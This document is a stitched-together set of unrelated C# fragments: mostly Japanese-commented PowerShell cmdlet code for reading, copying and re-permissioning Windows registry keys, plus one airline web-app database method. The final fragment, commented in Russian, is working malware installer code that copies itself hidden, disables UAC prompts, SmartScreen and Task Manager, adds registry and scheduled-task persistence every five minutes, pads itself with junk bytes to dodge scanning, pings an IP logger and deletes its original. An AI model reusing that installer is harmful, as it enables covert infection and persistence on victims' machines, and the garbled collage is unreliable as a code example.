/* * /// <summary> * /// レジストリキーをSetコマンドへコンバート * /// </summary> * /// <returns></returns> * private List<string> RegKey_ToSetCommand() * { * List<string> commandList = new List<string>(); * * Action<RegistryKey> measureRegistry = null; * measureRegistry = (targetKey) => * { * string[] valueNames = targetKey.GetValueNames(); * if (valueNames.Length > 0) * { * // レジストリ値の設定用コマンド * foreach (string valueName in targetKey.GetValueNames()) * { * RegistryValueKind valueKind = targetKey.GetValueKind(valueName); * string regValue = RegistryControl.RegistryValueToString(targetKey, valueName, valueKind, true); * switch (RegistryControl.ValueKindToString(valueKind)) * { * case Item.REG_SZ: * case Item.REG_MULTI_SZ: * case Item.REG_EXPAND_SZ: * case Item.REG_BINARY: * regValue = string.Format("-Value \"{0}\" ", regValue); * break; * case Item.REG_DWORD: * case Item.REG_QWORD: * regValue = string.Format("-Value {0} ", regValue); * break; * case Item.REG_NONE: * regValue = ""; * break; * } * commandList.Add(string.Format( * "Set-Registry -Path \"{0}\" -Name \"{1}\" {2}-Type {3}", * ReplaceDoller(targetKey.ToString()), * ReplaceDoller(valueName), * ReplaceDoller(regValue), * RegistryControl.ValueKindToString(valueKind))); * * } * } * else * { * // レジストリ値設定無し。空レジストリキー作成 * commandList.Add(string.Format("New-Registry -Path \"{0}\"", * ReplaceDoller(targetKey.ToString()))); * } * * // 配下のレジストリキーを再帰的にチェック * if (Recursive) * { * foreach (string keyName in targetKey.GetSubKeyNames()) * { * using (RegistryKey subTargetKey = targetKey.OpenSubKey(keyName, false)) * { * measureRegistry(subTargetKey); * } * } * } * }; * using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) * { * measureRegistry(regKey); * } * * return commandList; * } */ /* * /// <summary> * /// レジストリ値をSetコマンドへコンバート * /// </summary> * /// <returns></returns> * private List<string> RegValue_ToSetCommand() * { * List<string> commandList = new List<string>(); * * using (RegistryKey targetKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) * { * RegistryValueKind valueKind = targetKey.GetValueKind(Name); * string regValue = RegistryControl.RegistryValueToString(targetKey, Name, valueKind, true); * switch (RegistryControl.ValueKindToString(valueKind)) * { * case Item.REG_SZ: * case Item.REG_MULTI_SZ: * case Item.REG_EXPAND_SZ: * case Item.REG_BINARY: * regValue = string.Format("-Value \"{0}\" ", regValue); * break; * case Item.REG_DWORD: * case Item.REG_QWORD: * regValue = string.Format("-Value {0} ", regValue); * break; * case Item.REG_NONE: * regValue = ""; * break; * } * commandList.Add(string.Format( * "Set-Registry -Path \"{0}\" -Name \"{1}\" {2}-Type {3}", * ReplaceDoller(targetKey.ToString()), * ReplaceDoller(Name), * ReplaceDoller(regValue), * RegistryControl.ValueKindToString(valueKind))); * } * * return commandList; * } */ /* * /// <summary> * /// レジストリキーをDosコマンドへコンバート * /// </summary> * /// <returns></returns> * private List<string> RegKey_ToDosCommand() * { * List<string> commandList = new List<string>(); * * Action<RegistryKey> measureRegistry = null; * measureRegistry = (targetKey) => * { * string[] valueNames = targetKey.GetValueNames(); * if (valueNames.Length > 0) * { * // レジストリ値の設定用コマンド * foreach (string valueName in targetKey.GetValueNames()) * { * RegistryValueKind valueKind = targetKey.GetValueKind(valueName); * string regValue = RegistryControl.RegistryValueToString(targetKey, valueName, valueKind, true); * switch (RegistryControl.ValueKindToString(valueKind)) * { * case Item.REG_SZ: * case Item.REG_MULTI_SZ: * case Item.REG_EXPAND_SZ: * case Item.REG_BINARY: * regValue = string.Format("\"{0}\"", regValue); * break; * case Item.REG_DWORD: * case Item.REG_QWORD: * regValue = string.Format("{0}", regValue); * break; * case Item.REG_NONE: * regValue = ""; * break; * } * commandList.Add(string.Format( * "reg add \"{0}\" /v \"{1}\" /d {2} /t {3} /f", * ReplaceDoller(targetKey.ToString()), * ReplaceDoller(valueName), * ReplaceDoller(regValue), * RegistryControl.ValueKindToString(valueKind))); * * } * } * else * { * // レジストリ値設定無し。空レジストリキー作成 * commandList.Add(string.Format("reg add \"{0}\" /ve /f", * ReplaceDoller(targetKey.ToString()))); * commandList.Add(string.Format("reg delete \"{0}\" /ve /f", * ReplaceDoller(targetKey.ToString()))); * } * * // 配下のレジストリキーを再帰的にチェック * if (Recursive) * { * foreach (string keyName in targetKey.GetSubKeyNames()) * { * using (RegistryKey subTargetKey = targetKey.OpenSubKey(keyName, false)) * { * measureRegistry(subTargetKey); * } * } * } * }; * using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) * { * measureRegistry(regKey); * } * * return commandList; * } */ /* * /// <summary> * /// レジストリ値をDosコマンドへコンバート * /// </summary> * /// <returns></returns> * private List<string> RegValue_ToDosCommand() * { * List<string> commandList = new List<string>(); * * using (RegistryKey targetKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) * { * RegistryValueKind valueKind = targetKey.GetValueKind(Name); * string regValue = RegistryControl.RegistryValueToString(targetKey, Name, valueKind, true); * switch (RegistryControl.ValueKindToString(valueKind)) * { * case Item.REG_SZ: * case Item.REG_MULTI_SZ: * case Item.REG_EXPAND_SZ: * case Item.REG_BINARY: * regValue = string.Format("\"{0}\"", regValue); * break; * case Item.REG_DWORD: * case Item.REG_QWORD: * regValue = string.Format("{0}", regValue); * break; * case Item.REG_NONE: * regValue = ""; * break; * } * * commandList.Add(string.Format( * "reg add \"{0}\" /v \"{1}\" /d {2} /t {3} /f", * ReplaceDoller(targetKey.ToString()), * ReplaceDoller(Name), * ReplaceDoller(regValue), * RegistryControl.ValueKindToString(valueKind))); * } * * return commandList; * } */ /// <summary> /// レジストリ値をSetコマンドへコンバート /// </summary> /// <param name="targetKey"></param> /// <param name="valueName"></param> /// <returns></returns> private string CreateSetCommand(RegistryKey targetKey, string valueName) { RegistryValueKind valueKind = targetKey.GetValueKind(valueName); string regValue = ""; switch (valueKind) { case RegistryValueKind.String: case RegistryValueKind.MultiString: case RegistryValueKind.ExpandString: case RegistryValueKind.Binary: regValue = string.Format("\"{0}\"", RegistryControl.RegistryValueToString(targetKey, valueName, valueKind, true)); break; case RegistryValueKind.DWord: case RegistryValueKind.QWord: regValue = RegistryControl.RegistryValueToString(targetKey, valueName, valueKind, true); break; case RegistryValueKind.None: default: break; } return(string.Format( "Set-Registry -Path \"{0}\" -Name \"{1}\" -Value {2} -Type {3}", ReplaceDoller(targetKey.ToString()), ReplaceDoller(valueName), ReplaceDoller(regValue), RegistryControl.ValueKindToString(valueKind))); }
protected override void ProcessRecord() { using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) { SearchKeyNameValue(regKey); } switch (DataType) { case Item.XML: WriteObject( DataSerializer.Serialize <List <RegistryKeyNameValue> >(KNVList, PSFile.Serialize.DataType.Xml)); break; case Item.JSON: WriteObject( DataSerializer.Serialize <List <RegistryKeyNameValue> >(KNVList, PSFile.Serialize.DataType.Json)); break; case Item.YML: WriteObject( DataSerializer.Serialize <List <RegistryKeyNameValue> >(KNVList, PSFile.Serialize.DataType.Yml)); break; case Item.TXT: break; default: WriteObject(KNVList); break; } }
public RegistryControl GetRegistryControlRecord(string recordID, string UserID) { RegistryControl RegistryControl = new RegistryControl(); SqlDataReader dr = null; try { SqlParameter[] Parameters = { new SqlParameter("@PSNo", recordID) }; dr = SqlHelper.ExecuteReader(ReadConnectionString.WebConfigConnectionString, CommandType.StoredProcedure, "GetRecordRegistryControl", Parameters); if (dr.Read()) { RegistryControl.ProcessSNo = Convert.ToInt32(dr["SNo"].ToString()); RegistryControl.Text_ProcessSNo = dr["ProcessName"].ToString(); RegistryControl.CitySNo = 0; RegistryControl.Text_CitySNo = ""; RegistryControl.AirlineSNo = 0; RegistryControl.Text_AirlineSNo = ""; RegistryControl.GroupSNo = 0; RegistryControl.Text_GroupSNo = ""; RegistryControl.PageSNo = 0; RegistryControl.Text_PageSNo = ""; RegistryControl.RType = ""; } } catch (Exception ex)// //(Exception ex) { dr.Close(); throw ex; } return(RegistryControl); }
/// <summary> /// レジストリ値をDOSコマンドへコンバート /// </summary> /// <param name="targetKey"></param> /// <param name="valueName"></param> /// <returns></returns> private string CreateDosCommand(RegistryKey targetKey, string valueName) { RegistryValueKind valueKind = targetKey.GetValueKind(valueName); string regValue = ""; switch (valueKind) { case RegistryValueKind.String: case RegistryValueKind.MultiString: case RegistryValueKind.ExpandString: case RegistryValueKind.Binary: regValue = string.Format("\"{0}\"", RegistryControl.RegistryValueToString(targetKey, valueName, valueKind, true)); break; case RegistryValueKind.DWord: case RegistryValueKind.QWord: regValue = RegistryControl.RegistryValueToString(targetKey, valueName, valueKind, true); break; case RegistryValueKind.None: default: break; } return(string.Format( "reg add \"{0}\" {1} /d {2} /t {3} /f", targetKey, valueName == "" ? "/ve" : $"/v \"{valueName}\"", regValue, RegistryControl.ValueKindToString(valueKind))); }
protected override void ProcessRecord() { using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, true)) { if (Name == null) { try { // テスト自動生成 _generator.RegistryPath(RegistryPath); regKey.DeleteSubKeyTree(""); } catch { using (Process proc = new Process()) { proc.StartInfo.FileName = "reg"; proc.StartInfo.Arguments = $"delete \"{RegistryPath}\" /f"; proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; proc.Start(); proc.WaitForExit(); } } } else { // テスト自動生成 _generator.RegistryName(RegistryPath, Name); regKey.DeleteValue(Name); } } }
// レジストリ値をコピー private void CopyRegistryValue(string source, string destination, string name, string destinationName) { using (RegistryKey sourceKey = RegistryControl.GetRegistryKey(source, false, true)) using (RegistryKey destinationKey = RegistryControl.GetRegistryKey(destination, true, true)) { RegistryValueKind valueKind = sourceKey.GetValueKind(name); object sourceValue = valueKind == RegistryValueKind.ExpandString ? sourceKey.GetValue(name, null, RegistryValueOptions.DoNotExpandEnvironmentNames) : sourceKey.GetValue(name); if (destinationName == null) { destinationName = name; } // テスト自動生成 _generator.RegistryName(source, name); _generator.RegistryName(source, destinationName); _generator.RegistryValue(source, destinationName, RegistryControl.RegistryValueToString(sourceKey, name, valueKind, true)); destinationKey.SetValue(destinationName, sourceValue, valueKind); // コピー元を削除する場合 sourceKey.DeleteValue(name); } }
/// <summary> /// アクセス権チェック /// </summary> /// <param name="regKey"></param> private void CheckAccess(RegistryKey regKey) { string tempAccess = new RegistrySummary(regKey, false, true).Access; if (Access == string.Empty) { retValue = string.IsNullOrEmpty(tempAccess); if (!retValue) { Console.Error.WriteLine("指定のアクセス権無し: \"{0}\" / \"{1}\"", Access, tempAccess); } } else if (TestMode == Item.CONTAIN) { // Accessパラメータで指定したAccess文字列が、対象のレジストリキーに含まれているかチェック // Access文字列は複数の場合は、全て対象のレジストリキーに含まれているかをチェック //string tempAccess = new RegistrySummary(regKey, false, true).Access; string[] tempAccessArray = tempAccess.Split('/'); foreach (string accessString in Access.Split('/')) { retValue = tempAccessArray.Any(x => RegistryControl.IsMatchAccess(x, accessString)); if (!retValue) { Console.Error.WriteLine("指定のアクセス権無し: {0} / {1}", Access, tempAccess); break; } } } else { List <string> accessListA = new List <string>(); accessListA.AddRange(tempAccess.Split('/')); List <string> accessListB = new List <string>(); accessListB.AddRange(Access.Split('/')); if (accessListA.Count == accessListB.Count) { for (int i = accessListA.Count - 1; i >= 0; i--) { string matchString = accessListB.FirstOrDefault(x => RegistryControl.IsMatchAccess(x, accessListA[i])); if (matchString != null) { accessListB.Remove(matchString); } } retValue = accessListB.Count == 0; } else { retValue = false; } if (!retValue) { Console.Error.WriteLine("アクセス権不一致: {0} / {1}", Access, tempAccess); } } }
protected override void ProcessRecord() { // テスト自動生成 TestGenerator.RegistryKey(Path); using (RegistryKey regKey = RegistryControl.GetRegistryKey(Path, true, true)) { } }
/// <summary> /// RegistrySummaryリストを取得 /// </summary> /// <param name="path">レジストリキーのパス</param> /// <param name="ignoreSecurity">セキュリティ情報を除外して比較</param> /// <param name="ignoreValues">レジストリ値を場外して比較</param> /// <returns></returns> private List <RegistrySummary> GetSummaryList(string path, bool ignoreSecurity, bool ignoreValues) { int startLength = 0; List <RegistrySummary> summaryList = new List <RegistrySummary>(); Action <RegistryKey> getSummary = null; getSummary = (targetPath) => { RegistrySummary summary = new RegistrySummary(targetPath, startLength, ignoreSecurity, ignoreValues); summary.Name = ""; summaryList.Add(summary); //summaryList.Add(new RegistrySummary(targetPath, startLength, ignoreSecurity, ignoreValues)); foreach (string keyName in targetPath.GetSubKeyNames()) { using (RegistryKey subTargetKey = targetPath.OpenSubKey(keyName, false)) { getSummary(subTargetKey); } } }; using (RegistryKey startKey = RegistryControl.GetRegistryKey(path, false, false)) { startLength = startKey.Name.Length; getSummary(startKey); } return(summaryList); }
protected override void ProcessRecord() { if (Name == null) { // レジストリキーの取得 if (ReturnReadonlyKey) { WriteObject(RegistryControl.GetRegistryKey(RegistryPath, false, false)); } else if (ReturnWritableKey) { WriteObject(RegistryControl.GetRegistryKey(RegistryPath, true, true)); } else { using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) { WriteObject(new RegistrySummary(regKey, IgnoreSecurity, IgnoreValues), true); } } } else { // レジストリ値の取得 using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) { RegistryValueKind valueKind = regKey.GetValueKind(Name); if (RawValue) { switch (valueKind) { case RegistryValueKind.ExpandString: WriteObject(NoResolv ? regKey.GetValue(Name, "", RegistryValueOptions.DoNotExpandEnvironmentNames) : regKey.GetValue(Name)); break; case RegistryValueKind.None: WriteObject(null); break; default: WriteObject(regKey.GetValue(Name)); break; } } else { WriteObject(RegistryControl.RegistryValueToString(regKey, Name, valueKind, NoResolv)); } } } }
/// <summary> /// レジストリのパラメータ名/種類/値のチェック /// </summary> /// <param name="regKey">RegistryKeyインスタンス</param> private void CheckRegValue(RegistryKey regKey) { if (Name == null) { Console.Error.WriteLine("Name無し: {0}", Name); return; } try { RegistryValueKind valueKind = regKey.GetValueKind(Name); // Name用チェック if (Target == Item.NAME) { retValue = true; return; } // Type用チェック if (Target == Item.TYPE) { string tempVlueKind = RegistryControl.ValueKindToString(valueKind); retValue = tempVlueKind == Type; if (!retValue) { Console.Error.WriteLine( "Type不一致: {0} / {1}", Type, tempVlueKind); } return; } // Value用チェック if (valueKind == RegistryValueKind.Binary) { Value = Value.ToUpper(); } retValue = RegistryControl.RegistryValueToString(regKey, Name, valueKind, true) == Value; if (!retValue) { Console.Error.WriteLine("Value不一致 ({0}): {1}", RegistryControl.ValueKindToString(valueKind), Value); Console.WriteLine(RegistryControl.RegistryValueToString(regKey, Name, valueKind, true)); } } catch (IOException) { // Name,Type,Valueの条件で名前の有無チェック Console.Error.WriteLine("Name無し: {0}", Name); } }
protected override void ProcessRecord() { bool isChange = false; using (RegistryKey regKey = RegistryControl.GetRegistryKey(Path, false, true)) { RegistrySecurity security = regKey.GetAccessControl(); AuthorizationRuleCollection rules = security.GetAccessRules(true, false, typeof(NTAccount)); if (All) { // テスト自動生成 TestGenerator.RegistryAccess(Path, "", false); foreach (RegistryAccessRule rule in rules) { security.RemoveAccessRule(rule); isChange = true; } } else { foreach (RegistryAccessRule rule in rules) { if (Account.Contains("\\") && rule.IdentityReference.Value.Equals(Account, StringComparison.OrdinalIgnoreCase)) { // テスト自動生成 TestGenerator.RegistryAccess(Path, RegistryControl.AccessRuleToString(rule), true); security.RemoveAccessRule(rule); isChange = true; } else if (!Account.Contains("\\") && rule.IdentityReference.Value.EndsWith("\\" + Account, StringComparison.OrdinalIgnoreCase)) { // テスト自動生成 TestGenerator.RegistryAccess(Path, RegistryControl.AccessRuleToString(rule), true); security.RemoveAccessRule(rule); isChange = true; } } } if (isChange) { regKey.SetAccessControl(security); } } WriteObject(new RegistryKeyInfo(Path, true)); }
protected override void ProcessRecord() { using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) { // レジストリキーの有無チェック if (regKey == null) { Console.Error.WriteLine("対象のレジストリキー (Path) 無し: {0}", RegistryPath.ToString()); return; } if (Target == Item.PATH) { retValue = true; return; } // レジストリのパラメータ名/種類/値のチェック if (Target == Item.NAME || Target == Item.TYPE || Target == Item.VALUE) { CheckRegValue(regKey); return; } // 所有者チェック if (Target == Item.OWNER) { CheckOwner(regKey); return; } // アクセス権チェック if (Target == Item.ACCESS) { CheckAccess(regKey); return; } // Accountチェック if (Target == Item.ACCOUNT) { CheckAccount(regKey); return; } // Inheritedチェック if (Target == Item.INHERITED) { CheckInherited(regKey); return; } } }
protected override void ProcessRecord() { // 管理者実行確認 Functions.CheckAdmin(); using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) { if (regKey != null) { return; } } // テスト自動生成 _generator.RegistryPath(RegistryPath); string keyName = RegistryPath.Substring(RegistryPath.IndexOf("\\") + 1); RegistryHive.Load(keyName, DatFile); // ロード成功確認 using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) { if (regKey != null) { WriteObject(new RegistrySummary(regKey)); return; } } // ロード失敗時の再ロード用コマンド using (Process proc = new Process()) { proc.StartInfo.FileName = "reg.exe"; proc.StartInfo.Arguments = $"load \"{RegistryPath}\" \"{DatFile}\""; proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; proc.Start(); proc.WaitForExit(); } using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) { if (regKey != null) { WriteObject(new RegistrySummary(regKey)); } } }
protected override void ProcessRecord() { using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, true)) { bool isChange = false; RegistrySecurity security = security = regKey.GetAccessControl(); if (All) { // テスト自動生成 _generator.RegistryAccess(RegistryPath, "", false); foreach (RegistryAccessRule rule in security.GetAccessRules(true, false, typeof(NTAccount))) { security.RemoveAccessRule(rule); isChange = true; } } else { foreach (RegistryAccessRule rule in security.GetAccessRules(true, false, typeof(NTAccount))) { string account = rule.IdentityReference.Value; // テスト自動生成 _generator.RegistryAccount(RegistryPath, account); if (Account.Contains("\\") && account.Equals(Account, StringComparison.OrdinalIgnoreCase) || !Account.Contains("\\") && account.EndsWith("\\" + Account, StringComparison.OrdinalIgnoreCase)) { security.RemoveAccessRule(rule); isChange = true; } } } if (isChange) { regKey.SetAccessControl(security); } WriteObject(new RegistrySummary(regKey, true)); } }
/// <summary> /// RegistrySummaryのリストを取得 /// </summary> /// <returns>RegistrySummaryのList</returns> private List <RegistrySummary> GetPRegList() { List <RegistrySummary> pregList = new List <RegistrySummary>(); Action <RegistryKey> getPReg = null; getPReg = (targetKey) => { pregList.Add(new RegistrySummary(targetKey, true)); foreach (string keyName in targetKey.GetSubKeyNames()) { using (RegistryKey subTargetKey = targetKey.OpenSubKey(keyName, false)) { getPReg(subTargetKey); } } }; using (RegistryKey startKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) { getPReg(startKey); } return(pregList); }
protected override void ProcessRecord() { // テスト自動生成 TestGenerator.RegistryKey(Path); // 管理者実行確認 Message.CheckAdmin(); using (RegistryKey regKey = RegistryControl.GetRegistryKey(Path, false, false)) { if (regKey == null) { return; } } string keyName = Path.Substring(Path.IndexOf("\\") + 1); RegistryHive.UnLoad(keyName); // アンロード成功確認 using (RegistryKey regKey = RegistryControl.GetRegistryKey(Path, false, false)) { if (regKey == null) { return; } } // アンロード失敗時の再アンロード用コマンド using (Process proc = new Process()) { proc.StartInfo.FileName = "reg.exe"; proc.StartInfo.Arguments = $"unload \"{Path}\""; proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; proc.Start(); proc.WaitForExit(); } }
/// <summary> /// RegistryKeyInfoリストを取得 /// </summary> /// <param name="path">レジストリキーのパス</param> /// <param name="ignoreSecurity">セキュリティ情報を除外して比較</param> /// <param name="ignoreValues">レジストリ値を場外して比較</param> /// <returns></returns> private List <RegistryKeyInfo> GetPRegList(string path, bool ignoreSecurity, bool ignoreValues) { int startKeyLength = 0; List <RegistryKeyInfo> pregList = new List <RegistryKeyInfo>(); Action <RegistryKey> getPReg = null; getPReg = (targetKey) => { pregList.Add(new RegistryKeyInfo(targetKey, startKeyLength, ignoreSecurity, ignoreValues)); foreach (string keyName in targetKey.GetSubKeyNames()) { using (RegistryKey subTargetKey = targetKey.OpenSubKey(keyName, false)) { getPReg(subTargetKey); } } }; using (RegistryKey startKey = RegistryControl.GetRegistryKey(path, false, false)) { startKeyLength = startKey.Name.Length; getPReg(startKey); } return(pregList); }
private void SearchKeyNameValue(RegistryKey targetKey) { RegistryKeyNameValue regKNV = new RegistryKeyNameValue(); bool isAdded = false; // レジストリキーをチェック if (hasPath && ( Path.GetFileName(targetKey.ToString()).IndexOf(SearchText, StringComparison.OrdinalIgnoreCase) >= 0)) { regKNV.AddKey(targetKey); isAdded = true; } // レジストリ値をチェック foreach (string valueName in targetKey.GetValueNames()) { RegistryValueKind valueKind = targetKey.GetValueKind(valueName); // 名前チェック if (hasName && (valueName.IndexOf(SearchText, StringComparison.OrdinalIgnoreCase) >= 0)) { regKNV.AddValue( targetKey, valueName, RegistryControl.RegistryValueToString(targetKey, valueName, valueKind, true)); isAdded = true; continue; } // 値チェック if (hasValue && ( valueKind == RegistryValueKind.String || valueKind == RegistryValueKind.MultiString || valueKind == RegistryValueKind.ExpandString)) { string tempValueName = string.IsNullOrEmpty(valueName) ? "(既定)" : valueName; string tempStringValue = RegistryControl.RegistryValueToString(targetKey, valueName, valueKind, true); if (tempStringValue.IndexOf(SearchText, StringComparison.OrdinalIgnoreCase) >= 0) { regKNV.AddValue(targetKey, tempValueName, tempStringValue); isAdded = true; } } } if (isAdded) { if (isText) { Console.WriteLine(regKNV); } else { KNVList.Add(regKNV); } } foreach (string keyName in targetKey.GetSubKeyNames()) { using (RegistryKey subTargetKey = targetKey.OpenSubKey(keyName, false)) { SearchKeyNameValue(subTargetKey); } } }
protected override void ProcessRecord() { using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, true)) { if (regKey == null) { return; } RegistrySecurity security = null; // Account, Rights, AccessControlから追加 if (!string.IsNullOrEmpty(Account)) { if (security == null) { security = regKey.GetAccessControl(); } string accessString = string.Format("{0};{1};{2};{3};{4}", Account, _Rights, Recursive ? Item.CONTAINERINHERIT + ", " + Item.OBJECTINHERIT : Item.NONE, Item.NONE, AccessControl); // テスト自動生成 _generator.RegistryAccess(RegistryPath, accessString, true); foreach (RegistryAccessRule addRule in RegistryControl.StringToAccessRules(accessString)) { security.AddAccessRule(addRule); } } // Access文字列からの設定 if (!string.IsNullOrEmpty(Access)) { if (security == null) { security = regKey.GetAccessControl(); } // テスト自動生成 _generator.RegistryAccess(RegistryPath, Access, true); foreach (RegistryAccessRule rule in RegistryControl.StringToAccessRules(Access)) { security.AddAccessRule(rule); } } // 上位からのアクセス権継承の設定変更 if (Inherited != Item.NONE) { if (security == null) { security = regKey.GetAccessControl(); } // テスト自動生成 _generator.RegistryInherited(RegistryPath, Inherited == Item.ENABLE); switch (Inherited) { case Item.ENABLE: security.SetAccessRuleProtection(false, false); break; case Item.DISABLE: security.SetAccessRuleProtection(true, true); break; case Item.REMOVE: security.SetAccessRuleProtection(true, false); break; } } if (security != null) { regKey.SetAccessControl(security); } WriteObject(new RegistrySummary(regKey, true)); } }
protected override void ProcessRecord() { using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) { if (regKey != null) { return; } } // テスト自動生成 _generator.RegistryPath(RegistryPath); using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, true, true)) { RegistrySecurity security = null; // Access文字列からの設定 if (!string.IsNullOrEmpty(Access)) { if (security == null) { security = regKey.GetAccessControl(); } // テスト自動生成 _generator.RegistryAccess(RegistryPath, Access, false); foreach (RegistryAccessRule rule in RegistryControl.StringToAccessRules(Access)) { security.AddAccessRule(rule); } } // 上位からのアクセス権継承の設定変更 if (Inherited != Item.NONE) { if (security == null) { security = regKey.GetAccessControl(); } // テスト自動生成 _generator.RegistryInherited(RegistryPath, Inherited == Item.ENABLE); switch (Inherited) { case Item.ENABLE: security.SetAccessRuleProtection(false, false); break; case Item.DISABLE: security.SetAccessRuleProtection(true, true); break; case Item.REMOVE: security.SetAccessRuleProtection(true, false); break; } } if (security != null) { regKey.SetAccessControl(security); } } // 所有者変更 if (Owner != null) { // 埋め込みのsubinacl.exeを展開 string subinacl = EmbeddedResource.GetSubinacl(Item.APPLICATION_NAME); // 管理者実行確認 Functions.CheckAdmin(); // テスト自動生成 _generator.RegistryOwner(RegistryPath, Owner); using (Process proc = new Process()) { proc.StartInfo.FileName = subinacl; proc.StartInfo.Arguments = $"/subkeyreg \"{RegistryPath}\" /owner=\"{Owner}\""; proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; proc.Start(); proc.WaitForExit(); } } using (RegistryKey regKey = RegistryControl.GetRegistryKey(RegistryPath, false, false)) { WriteObject(new RegistrySummary(regKey, true)); } }
// レジストリキーをコピー private void CopyRegistryKey(string source, string destination) { Action <RegistryKey, RegistryKey> copyRegKey = null; copyRegKey = (srcKey, dstKey) => { foreach (string paramName in srcKey.GetValueNames()) { RegistryValueKind valueKind = srcKey.GetValueKind(paramName); dstKey.SetValue( paramName, valueKind == RegistryValueKind.ExpandString ? srcKey.GetValue(paramName, "", RegistryValueOptions.DoNotExpandEnvironmentNames) : srcKey.GetValue(paramName), valueKind); } foreach (string keyName in srcKey.GetSubKeyNames()) { using (RegistryKey subSrcKey = srcKey.OpenSubKey(keyName, false)) using (RegistryKey subDstKey = dstKey.CreateSubKey(keyName, true)) { try { copyRegKey(subSrcKey, subDstKey); } catch (System.Security.SecurityException) { Console.WriteLine("アクセス拒否:SecurityException\r\n" + keyName); } catch (UnauthorizedAccessException) { Console.WriteLine("アクセス拒否:UnauthorizedAccessException\r\n" + keyName); } catch (ArgumentException) { // 無効なValueKindのレジストリ値への対策 // reg copyコマンドでコピー実行 using (Process proc = new Process()) { proc.StartInfo.FileName = "reg.exe"; proc.StartInfo.Arguments = $@"copy ""{subSrcKey.ToString()}"" ""{subDstKey.ToString()}"" /s /f"; proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; proc.Start(); proc.WaitForExit(); } } } } }; using (RegistryKey sourceKey = RegistryControl.GetRegistryKey(source, false, true)) using (RegistryKey destinationKey = RegistryControl.GetRegistryKey(destination, true, true)) { // テスト自動生成 _generator.RegistryPath(source); _generator.RegistryPath(destination); _generator.RegistryCompare(source, destination, true, false); copyRegKey(sourceKey, destinationKey); // コピー元を削除する場合 sourceKey.DeleteSubKeyTree(""); } }
public static void GetInstall() { if (File.Exists(Help.LocalData + "\\" + Help.HWID)) { if (!File.ReadAllText(Help.LocalData + "\\" + Help.HWID).Contains(Help.HWID)) { //Вырубить показ скрытых файлов если включенно new Thread(() => { Thread.Sleep(new Random(Environment.TickCount).Next(60000, 340000)); try { RegistryKey rkey = Registry.CurrentUser; rkey = rkey.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"); rkey.SetValue("Hidden", 0); } catch { } }).Start(); } else { } } else { try { //Файл детект заражения File.Create(Help.LocalData + "\\" + Help.HWID); File.SetAttributes(Help.LocalData + "\\" + Help.HWID, FileAttributes.Hidden | FileAttributes.System); DirectoryInfo Edir; Edir = Directory.CreateDirectory(Dir); Directory.CreateDirectory(Dir); Edir.Refresh(); Thread.Sleep(new Random(Environment.TickCount).Next(2000, 5000)); // Копируемся File.Copy(Assembly.GetExecutingAssembly().Location, Dir + Help.bin); File.SetAttributes(Dir + Help.bin, FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System); // Отключаем UAC уведомления new Thread(() => { RegistryControl.ToogleUacAdmin(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", 0); }).Start(); // Отключаем SmartScreen new Thread(() => { RegistryControl.ToogleSmartScreen(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer", "SmartScreenEnabled", "Off"); }).Start(); // Отключаем Диспетчер Задач new Thread(() => { RegistryControl.ToogleTaskMandRegedit(@"Software\Microsoft\Windows\CurrentVersion\Policies", 1); }).Start(); //Добавление в реестр new Thread(() => { Registration.Inizialize(true, Help.NameRegRandom, Dir + Help.bin); }).Start(); // Добавляем байты рабочему билду FileStream fs = new FileStream(Dir + Help.bin, FileMode.OpenOrCreate); byte[] clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName); fs.Write(clientExe, 0, clientExe.Length); byte[] junk = new byte[new Random().Next(650 * 1024 * 1000, 750 * 1024 * 1000)]; new Random().NextBytes(junk); fs.Write(junk, 0, junk.Length); fs.Dispose(); // Пингуем логгер new Thread(() => { IPLog.GetIP(); }).Start(); // Адекватное самоудаление и добавление в планировщик задач с интервалом в 4 минуты string batch = Path.GetTempFileName() + ".bat"; using (StreamWriter sw = new StreamWriter(batch)) { sw.WriteLine("@echo off"); sw.WriteLine("timeout 4 > NUL"); // Задержка до выполнения следуюющих команд sw.WriteLine("schtasks.exe " + "/create /f /sc MINUTE /mo 5 /tn " + @"""" + Help.NameRegRandom + @"""" + " /tr " + @"""'" + Help.WorkingDir + Help.bin + @"""'"); // Прыгаем в планировщик sw.WriteLine("DEL " + "\"" + Path.GetFileName(new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name) + "\"" + " /f /q"); // Удаляем исходный билд sw.WriteLine("START " + "\"" + "\" " + "\"" + Dir + Help.bin + "\""); // Запускаем рабочий билд sw.WriteLine("CD " + Path.GetTempPath()); // Переходим во временную папку юзера sw.WriteLine("DEL " + "\"" + batch + "\"" + " /f /q"); } Process.Start(new ProcessStartInfo() { FileName = batch, CreateNoWindow = true, ErrorDialog = false, UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }); Environment.Exit(0); } catch { File.Delete(Help.LocalData + "\\" + Help.HWID); } } }
